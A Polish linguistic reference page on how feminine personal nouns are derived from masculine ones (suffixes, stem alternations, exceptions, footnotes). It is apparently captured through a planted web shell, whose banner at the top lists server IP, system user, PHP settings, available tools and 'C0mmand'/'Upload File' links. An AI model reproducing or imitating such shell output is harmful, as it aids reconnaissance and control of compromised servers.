|
Server IP : 10.2.73.233 / Your IP : 216.73.216.59 Web Server : Apache/2.4.59 (Debian) System : Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64 User : www-data ( 33) PHP Version : 5.6.40-64+0~20230107.71+debian10~1.gbp673146 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/slownik/web/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<head>
<style type="text/css">
.newStyle1
{
text-indent: 30px;
}
.newStyle2
{
text-indent: 30px;
}
.style1
{
margin-left: 30px;
}
</style>
</head>
<b>
<div style="text-align: justify; line-height: 180%"><div><p><b><font size="4"><a name="_Toc310981477">3. Reguły słowotwórcze w <i>Słowniku nazw osobowych</i></a></font></b></p></div>
<p><font size="3"><b><a name="3.1">3.1. Reguły tworzenia nazw osób płci żeńskiej <!--<span>-->od nazw osobowych męskich.</a></font></b></p>
</div>
<div style="text-align: justify; line-height: 180%"></b>
<div><strong>1.</strong> <b>Nazwy osób płci żeńskiej utworzone za pomocą</b> formantu <b>-k(a)</b></div>
<div><b> </b></div>
<div><strong><span>1.1.</span></strong><span><span> </span></span><b>bez alternacji tematowych</b> - od nazw rodzaju męskiego zakończonych na:</div>
<ul type="square" class="regular">
<li><b><i>-b</i></b>: <i>snob – snobka;</i></li>
<li><b><i>-d</i></b>:<span> <i>sąsiad – sąsiadka, , powód – powódka;</i></span></li>
<li><b><i>-d</i></b><i>(a):</i> <i><span>logopeda – logopedka, inwalida – inwalidka;</span></i></li>
<li><b><i>-f </i></b>(<i>-<b>graf</b>, -<b>zof</b></i>): <i>geograf – geografka, filozof – filozofka;</i></li>
<li><b><i>-j</i></b>: <i>szachraj - szachrajka, </i><i>dobrodziej - dobrodziejka, dżokej - dżokejka;</i></li>
<li><b><i>-l</i></b> (-<b><i>al, -ciel</i></b>): <i>wandal - wandalka, góral - góralka, wielbiciel – wielbicielka, debil – debilka; </i></li>
<li><b><i>-ł</i></b>: <i>hucuł - hucułka, kameduła - kamedułka;</i></li>
<li><b><i>-m</i></b>: <i>ekonom - ekonomka, astronom - astronomka, olbrzym – olbrzymka;</i></li>
<li><b><i>-n:</i></b> <i>fan - fanka, chuligan - chuliganka, krajan - krajanka, kompan - kompanka, sportsmen - sportsmenka...;</i></li>
</ul>
<div>Procesowi tworzenia nazw osobowych żeńskich od nazw męskich z tematem zakończonym na <b><i>‑anin</i></b> towarzyszy dezintegracja (ucięcie) tematu podstawy o element <i>-in<a title="" name="_ftnref1" href="#_ftn1"><span><span><span><b><span>[1]</span></b></span></span></span></a></i>: <i>weganin - weganka, poganin - poganka, grubianin - grubianka, włościanin - włościanka, parafianin - parafianka, bazylianin - bazylianka, ziemianin - ziemianka, arianin - arianka, wegetarianin - wegetarianka, witarianin - witarianka, salwatorianin - salwatorianka...;</i></div>
<div>Do tej grupy należą również nazwy żeńskie utworzone od nazw mieszkańców zakończonych na <i>–anin</i>, np.: <i>warszawianin – warszawianka, torunianin - torunianka, wrocławianin – wrocławianka...</i></div>
<br/>
<ul type="square">
<li><b><i>-p</i></b>: <i>kacap - kacapka, mizantrop – mizantropka;</i></li>
<li><b><i>-r</i></b><b>: </b><i>leader - leaderka, kurier - kurierka, instruktor - instruktorka, prowodyr - prowodyrka...;</i></li>
<li><b><i>-s</i></b>: <i>grubas - grubaska, blondas - blondaska, prezes - prezeska, hipis - hipiska, komandos – komandoska, prymus - prymuska, mikrus - mikruska, metys – metyska...;</i></li>
<li><b><i>-t</i></b>: <i>sensat - sensatka, swat – swatka, referent - referentka, bigot - bigotka, </i></li>
<li><b><i>-t</i></b><i>(a)</i>: <i>analfabeta - analfabetka, idiota - idiotka, entuzjasta - entuzjastka, szachista - szachistka...;</i></li>
<li><b><i>-cz</i></b> (<i>-<b>acz, -wicz</b></i>): <i>poszukiwacz - poszukiwaczka, działkowicz - działkowiczka, wieszcz - wieszczka....;</i></li>
<li><b><i>-sz</i></b> (<i>-<b>osz, -usz, -ysz</b></i>): <i>listonosz – listonoszka, akcjonariusz - akcjonariuszka, ateusz - ateuszka</i>...;</li>
<li><b><i>-z</i></b>: <i>wirtuoz - wirtuozka, intruz – intruzka;</i></li>
<li><b><i>-ż</i></b>: <i>stróż - stróżka</i>.</li>
</ul>
<div> </div>
<div><strong><span>1.2.</span></strong><span><span> </span></span><b>z alternacjami tematowymi - </b>od nazw rodzaju męskiego zakończonych na:</div>
<ul type="square">
<li><b>-g </b></b> (alternacja [g]:[ž]): <i><span>pedagog – pedagożka, demagog – demagożka, filolog – filolożka...</span></i>;<a title="" name="_ftnref2" href="#_ftn2"><span><span><span>[2]</span></span></span></a></li>
<li><b><i>-k</i></b> (oprócz leksemów na <i>-ek </i>oraz niektórych na <i>-nik</i>); z alternacją [k]:[č]: <i><span>rybak - rybaczka, biedak - biedaczka, rodak - rodaczka, ważniak - ważniaczka, próżniak - próżniaczka...</span></i></li>
</ul>
<div><b>Wyjątki</b>:</div>
<div>- tylko 4 derywaty żeńskie zostały utworzone za pomocą sufiksu <i>‑k(a) </i>(z alternacją [k]:[č]<span>): od nazw na <i>–<b>ek</b>: esbeczka, ubeczka, chadeczka, endeczka</i> – wszystkie nacechowane. Od pozostałych podstaw na <b><i>-ek</i> </b>oraz na <b><i>‑nik</i></b> patrz: dalej - formant paradygmatyczny; </span></div>
<div>- derywaty z dezintegracją tematu:</div>
<p class="style1">
- <em>olimpijczyk</em> – <em>olimpijka</em>, <em>pretoryjczyk</em> –
<em>pretoryjka</i></em>: ucięcie sufiksu <i>-czyk</i> i dodanie formantu <i>-k(a).
</i>W ten sposób (poprzez ucięcie zakończenia <i>–czyk</i> i dodanie formantu
<i>–k(a)</i>) tworzymy wszystkie nazwy żeńskie od nazw mieszkańców z formantem
<i>–czyk</i>, np. <i>Japończyk – Japonka, Sycylijczyk – Sycylijka, Estończyk – Estonka, sofijczyk – sofijka</i>...<span>;</span>
<br />
- rozwodnik – rozwódka</i>: ucięcie <i>–nik</i>, dodanie formantu
<i>–k(a), </i>alternacje [o]:[u]<i>.</i>
<br/>
<br/>
</p>
<ul type="square" class="regular">
<li><i><b>–rz </b> </i>(<i><b>-arz, -erz</b> </i>– nazwy wykonawców czynności) alternacja [ž]:[r]: <i><span>szafarz - szafarka, kucharz - kucharka, rzeźbiarz - rzeźbiarka, kwiaciarz – kwiaciarka...</span></i></li>
<li><b><i>–c</i></b> (<i>-<b>ec</b></i>)<a title="" name="_ftnref3" href="#_ftn3"><span><span><span><span>[3]</span></span></span></span></a> - ucinamy od podstawy zakończenie tematu<i> –ec</i> i dodajemy formant <i>-k(a).</i> Towarzyszą temu oprócz ucięcia <i>–</i>ec alternacje. Przy</li>
</ul>
<div style="padding-left:30px">
<div><i>-<b>miec</b></i> –<span> alternacja</span> [m’]:[m]: <i>cudzoziemiec - cudzoziemka, tuziemiec - tuziemka</i>;</div>
<div><i>-<b>niec – </b></i>alternacja [n’]:[n]:<i><span> mieszkaniec - mieszkanka, posłaniec - posłanka</span></i>;</div>
<div><i>-<b>owiec</b></i> <b><i>– </i></b><span>alternacja</span> [o]:[u], [v’]:[v] :<i> cyrkowiec - cyrkówka, bananowiec – bananówka;</i></div>
<div><i>-<b>lec</b></i> <b><i>–</i></b><span> alternacja</span> [l]:[ł]: <i>komsomolec – komsomołka;<br />
<br />
</i></div>
<div style="margin-left:-15px;"><strong>Wyjątki:</strong></div>
<div><i>–<b><span>ic</span></b></i><b>:</b> jeden derywat z<b> </b>alternacją<b> </b> [c]:[č] bez ucięcia zakończenia tematu<b><span>:</span></b> <i>dziedzic - dziedziczka<br />
<br />
</i></div>
<ul type="square" class="regular" style="margin-left:0px;">
<li><b><i>–x</i></b> - alternacja [x]:[š]: <i>mnich – mniszka.</i></li>
</ul>
</div>
<div> </div>
<div><strong>2.</strong> <b>Nazwy osób płci żeńskiej utworzone za pomocą</b> formantu <b>–in (i) / -yn (i)</b></div>
<div><b> </b></div>
<div><strong>2.1.</strong> <b>bez alternacji tematowych</b> - od nazw osobowych męskich zakończonych na:</div>
<div><i><ul type="square">
<li><b>mistrz</b> </i>(bez alternacji zakończenia tematu): <i>mistrz - <span>mistrzyni, rachmistrz - rachmistrzyni, ochmistrz – ochmistrzyni.</span></i></div>
</li></ul>
<div><strong><span>2.2.</span></strong><span><span> </span></span><b>z alternacjami tematowymi - </b>od nazw rodzaju męskiego zakończonych na:</div>
<ul type="square">
<li><b><i>‑c (a</i></b><i>)</i>: (alternacja: [c]:[č] lub [z]:[ž]) <i>ciemięzca – ciemiężczyni,</i> <i>winowajca - winowajczyni, zabójca - zabójczyni, ojcobójca - ojcobójczyni, najemca - najemczyni, zwycięzca - zwyciężczyni... </i></li>
</ul>
<div><strong>Wyjątki: </strong></div>
<div>formant <i>-in(i)/-yn(i)</i> przyjmują:</div>
<div>- 3 nazwy od rzeczowników męskich na <i>-ec</i>: <i><span>samozwaniec - samozwańczyni, bywalec - bywalczyni, strzelec - strzelczyni</span></i>. Towarzyszą temu alternacje jakościowe [c]:[č] oraz alternacje ilościowe: [e]: [Ø];</div>
<div>- 3 nazwy od rzeczowników na –ek: <i><span>potomek - potomkini, członek - członkini, skoczek - skoczkini</span></i> (towarzyszy temu alternacja jakościowa [k]:[k’]);</div>
<div><i>- monarcha </i>–<i> monarchini </i>(z alternacją [<i>x</i>]:[x']);</div>
<div><i>- krojczy - krojczyni </i>i <i><span>gospodarz – gospodyni </span></i>(z ucięciem segmentu –<i>arz </i>od podstawy).</div>
<div> </div>
<div>Jako wyjątki potraktujemy również formacje nieseryjne (nieregularne), tworzone za pomocą następujących formantów:</div>
<div><b><i>-ark(</i></b><i>a<b>)</b></i>: <i>więzień - więźniarka, współwięzień – współwięźniarka </i>(+ alternacje ilościowe [e]:[Ø]);</div>
<div><b><i>-ank(</i></b><i>a<b>)</b></i>: <i>kolega – koleżanka </i>(+ alternacje [g]:[ž]) (formanty<i>
-<b>ark</b>a </i>i<i> -<b>ank</b>a </i>można traktować jako warianty formantu<i>
-<b>k</b>a</i>);</div>
<div><b><i>-in(</i></b><i>a<b>)</b></i>: <i>sędzia – sędzina </i>(‘kobieta sędzia’)<i>, starosta – starościna</i> (‘kobieta starosta’);</div>
<div><b><i>-ow(</i></b><i>a<b>)</b></i>: <i>szef - szefowa</i> (‘kobieta szef’), <i>świadek - świadkowa</i> (‘świadek na ślubie’), <i>król - królowa</i> (‘monarchini’);</div>
<div><b><i>-ic(</i></b><i>a<b>)/-yc(</b>a<b>)</b></i><b>: </b><i>karzeł – karlica </i>(+ alternacje [ž]:[r], [Ø]:[l’])<i>, car – caryca</i>.</div>
<div><b> </b></div><div><b> </b></div>
<div><b>3.</b> <b>Nazwy osób płci żeńskiej utworzone za pomocą</b> formantu <b>paradygmatycznego</b></div>
<div><b> </b></div>
<div><b>3.1</b>. <b>bez alternacji tematowych</b> -</div>
<div>- od nazw osobowych męskich <b>o odmianie przymiotnikowej</b> <span>z tematem na: </span></div>
<ul type="disc">
<li><strong><i>-</i></strong><i><b>ąc(</b>y<b>)</b></i>:<i> rządzący - rządząca, służący - służąca;</i></li>
<li><i><b>-n(</b>y)</i>:<i> bezdomny - bezdomna, chrzestny - chrzestna, deputowany -
deputowana, krewny – krewna...</i>;</li>
<li><strong><i>-</i></strong><i><b>ow(</b>y<b>)</b></i>: <i>blokowy - blokowa, bufetowy - bufetowa, drużynowy - drużynowa, kadrowy - kadrowa...</i>;</li>
<li><strong><i>-</i></strong><i><b>ck(</b>i<b>), -sk(</b>i) </i>(z alternacją [k’]:[k]): <i>wygodnicki – wygodnicka, spóźnialski – spóźnialska…</i></li>
</ul>
<div>oraz<i> biegły – biegła; głuchy – głucha; niemy – niema; głuchoniemy – głuchoniema.<br />
<br />
</i></div>
<div>- od nazw rzeczownikowych rodzaju męskiego zakończonych na :</div>
<ul type="square" class="regular">
<li>
<i>
<b>-ch </b></i>(nacechowane ekspresywnie)<span>:<i> tłuścioch - tłuściocha,
staruch - starucha, łasuch - łasucha…</i>;</span></li>
<li>
<b><i>-ś </i></b>:<i><span>porządniś - porządnisia, dowcipniś - dowcipnisia,
laluś - lalusia, wnuś - wnusia.</span></i>
</li>
</ul>
<div> </div>
<div><strong>3.2</strong>. <b>z alternacjami tematowymi - </b>od nazw rzeczownikowych męskich zakończonych na</div>
<ul type="square" class="regular">
<li>
<span> </span><strong><i>-</i></strong><i><b>arz </b></i>(alternacja:
[ž]:[r]):
<i><span>bałaganiarz - bałaganiara, bikiniarz - bikiniara, kanciarz -
kanciara</span></i><a title="" name="_ftnref4" href="#_ftn4"><span><span><span><span>[4]</span></span>
</span></span></a><i>...</i>;</li>
<li>
<span> </span><b><i>-ek</i></b><i>,</i> w tym –<b><i>latek</i></b>: alternacja ilościowa [e]:[Ø], np.: <span>
<i>kochanek – kochanka, świętoszek – świętoszka, staruszek –
staruszka, przyjemniaczek – przyjemniaczka...</i>;</span></li>
</ul>
<div><br clear="all" /></div>
<hr align="left" width="33%" size="1" />
<div id="ftn1">
<div><a title="" name="_ftn1" href="#_ftnref1"><span><span><span><span>[1]</span></span></span></span></a> Tego typu ucięcia mogą być traktowane jako współformanty (por. GWJP, 1998: 366).</div>
</div>
<div id="ftn2">
<div><a title="" name="_ftn2" href="#_ftnref2"><span><span><span><span>[2]</span></span></span></span></a> Formy żeńskiego tego typu postrzegane są jako kolokwializmy</div>
</div>
<div id="ftn3">
<div><a title="" name="_ftn3" href="#_ftnref3"><span><span><span><span>[3]</span></span></span></span></a> Do tej grupy należą tylko derywaty od rzeczowników męskich z końcówką zerową w mianowniku. Inaczej tworzymy nazwy żeńskie od męskich zakończonych na <i>–ca </i>(por. niżej).</div>
</div>
<div id="ftn4">
<div><a title="" name="_ftn4" href="#_ftnref4"><span><span><span><span>[4]</span></span></span></span></a> <span> </span>Są to leksemy nacechowane ekspresywnie. Niektóre derywaty z tej grupy mają swoje odpowiedniki z formantem <i>–k(a)</i>: <i>sprzyciara / spryciarka, waluciara / waluciarka, handlara / handlarka, łachmaniara / łachmaniarka. </i> Bywają one traktowane jako wielomotywacyjne (Grzegorczykowa, Puzynina, 1979: 275-276, GWJP 1998:424), np.: <i>handlara </i>– jako forma żeńska od <i>handlarz</i> lub jako zgrubienie od <i>handlarka</i>; <i>plotkara</i> – jako forma żeńska od <i>plotkarz</i> lub jako zgrubienie od <i>plotkarka</i>.<span> Wyjątek stanowi <i>szczeniara</i> motywowana przez wyraz: <i>szczeniak</i> (od podstawy słowotwórczej ucinamy sufiks <i>–ak </i>i dodajemy formant <i>‑ar(a))</i>.</span></div>
</div>
</div>
<DIV>
</DIV>